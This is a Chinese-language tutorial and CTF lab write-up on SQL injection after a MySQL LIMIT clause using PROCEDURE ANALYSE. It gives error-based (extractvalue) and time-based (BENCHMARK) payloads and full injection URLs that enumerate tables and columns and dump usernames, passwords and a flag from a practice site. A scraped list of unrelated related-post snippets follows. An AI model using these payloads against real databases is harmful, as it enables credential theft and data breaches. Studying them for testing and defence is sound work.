mysql 5.6.6_Mysql下Limit注入方法(此方法仅适用于5.0.0mysql5.6.6的版本)
SQL语句类似下面这样:(此方法仅适用于5.0.0
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)
问题的关键在于,语句中有 order by 关键字,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字。
我们先看看 mysql 5.x 的文档中的 select 的语法:
1 SELECT
2 [ALL | DISTINCT | DISTINCTROW ]
3 [HIGH_PRIORITY]
4 [STRAIGHT_JOIN]
5 [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
6 [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
7 select_expr [, select_expr ...]
8 [FROM table_references
9 [WHERE where_condition]
10 [GROUP BY {col_name | expr | position}
11 [ASC | DESC], ... [WITH ROLLUP]]
12 [HAVING where_condition]
13 [ORDER BY {col_name | expr | position}
14 [ASC | DESC], ...]
15 [LIMIT {[offset,] row_count | row_count OFFSET offset}]
16 [PROCEDURE procedure_name(argument_list)]
17 [INTO OUTFILE 'file_name' export_options
18 | INTO DUMPFILE 'file_name'
19 | INTO var_name [, var_name]]
20 [FOR UPDATE | LOCK IN SHARE MODE]]
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE。
尝试用这个存储过程:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支持两个参数,试试两个参数:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
在 ANALYSE 中插入 sql 语句,sleep 没有被执行,可以使用报错注入:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
1.使用 PROCEDURE ANALYSE:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20PROCEDURE%20ANALYSE(1)%23&num=1
Can't use ORDER clause with this procedure
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
2.使用报错注入爆表:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=8&num=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))),1)%23
XPATH syntax error: ':article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到表名:article,user
3.爆列:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x61727469636c65))),1)%23%20&num=100%20%23
XPATH syntax error: ':id,title,contents,isread'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到article表的列名:id,title,contents,isread
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)%23%20&num=100%20%23
XPATH syntax error: ':id,username,password,lastloginI'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
同样得到user表的列名:id,username,password,lastloginI
4.爆字段:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(username)%20from%20user))),1)%23%20&num=1
XPATH syntax error: ':user,admin,flag'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
通过查询user表的username列,发现其中有一个字段是flag,那么直接读取flag字段的内容就可以了:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user%20where%20username=0x666c6167))),1)%23%20&num=1
XPATH syntax error: ':myflagishere'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到flag:myflagishere
mysql 5.6.6_Mysql下Limit注入方法(此方法仅适用于5.0.0mysql5.6.6的版本)相关推荐
- 5.7.24mysql 配置安卓,安卓按键精灵连接MySQL全面解析Windows下安装 mysql5.7的方法
关于在windows下安装mysql 5.7 •要注意的新坑: 5.7版本安装后ROOT账号是有默认的密码的,这个密码在windows下可以在mysql.ini配置文件指定的data文件夹下面,那个为 ...
- mysql注入之limit 注入
文章首发公众号:闪光的自留地 知乎:Sp4rkW GITHUB:Sp4rkW B站:一只技术君 博客:https://sp4rkw.blog.csdn.net/ 联系邮箱:getf_own@163.c ...
- mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...
本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...
- 【MySQL Tips】偏移量大的分页查询LIMIT子句的优化方法
SQL优化是要看执行计划分析,并做基准测试的. 前言 MySQL官方关于LIMIT子句的优化建议在之前的文章中写过,链接如下: 8.2.19 LIMIT查询优化.note [MySQL 8翻译]8.2 ...
- mysql注入带外通道攻击_防止SQL注入攻击的方法
防止SQL注入攻击的方法 发布时间:2020-08-25 14:18:13 来源:亿速云 阅读:78 作者:小新 小编给大家分享一下防止SQL注入攻击的方法,相信大部分人都还不怎么了解,因此分享这篇文 ...
- VC下提前注入进程的一些方法3——修改程序入口点
前两节中介绍了通过远线程进行注入的方法.现在换一种方法--修改进程入口点.(转载请指明出处) 在PE文件中,其中有个字段标识程序入口点位置.我们通过这个字段,到达程序入口点.PE文件的结构我这儿不讨论 ...
- 如何在linux系统下修改mysql密码_如何在linux下修改mysql数据库密码?linux修改数据库密码的方法...
本篇文章给大家带来的内容是介绍如何在linux下修改mysql数据库密码?linux修改数据库密码的方法.有一定的参考价值,有需要的朋友可以参考一下,希望对你们有所帮助. Linux下修改Mysql的 ...
- mysql alter engine_MySQL_mysql下修改engine引擎的方法,修改my.ini,在[mysqld]下加上 - phpStudy...
mysql下修改engine引擎的方法 修改my.ini,在[mysqld]下加上 default-storage-engine=INNODB 其中红色字体部分是要指定的引擎名称. 用sql语句修改已 ...
- Linux下MySql出现#1036 – Table ‘ ‘ is read only 错误解决方法
Linux下MySql出现#1036 – Table ' ' is read only 错误解决方法 参考文章: (1)Linux下MySql出现#1036 – Table ' ' is read o ...
最新文章
- 华中C语言程序简答题,华中科技大学0911年C语言程序设计试卷.doc
- html的meta属性
- BZOJ2286 : [Sdoi2011]消耗战
- python二进制文件 删除尾部数据_在Python中读取和切片二进制数据文件的最快方法...
- linux下搭建nagios监控
- C++实践参考——摩托车继承自行车和机动车
- 剑指offer面试题[49]-把字符串转化为整型
- vue的介绍及基本使用(详细,好理解,示例代码)
- java导入excle表格,并且对表格进行相应的修改,并对表格数据进行整理,最后导出本地表格等一系列操作...
- Laravel学习笔记之Demo1——URL生成和存储
- iconfont 图标不生效
- 安装python3.8出现ModuleNotFoundError: No module named ‘_ctypes’解决办法
- iOS上栈溢出崩溃详解
- 解决VS2016中Scanf运行错误
- p5405 [CTS2019]氪金手游
- java 编写线程公共类_Java实现线程间通信方式
- SolidPlant材料清单
- 落户上海市高校毕业生就业指导中心集体户口办理办法
- ORA-01654: unable to extend index报错解决
- 基于SSM的物料管理系统(源码+文档+数据库)
热门文章
- Swin Transformer 升级,Swin V2:向更大容量、更高分辨率的更大模型迈进
- 【网易云信获奖啦】2020 年值得再读一遍的技术干货 | 下篇
- sql中条件放在on后面和where后面的区别
- Chrome安装metamask
- mysql分库分表方案之sharding-jdbc使用(非demo示例)
- 几年前的代码发现一个BUG: 整数相除结果不能默认转换为浮点数
- 教您快速解决MindManager15安装中的.NET难题
- Android开发人员资料大全(开发人员必看)
- 修正wme输出的ASF流数据
- DeepHSV:号称可以商用的计算机笔迹鉴别算法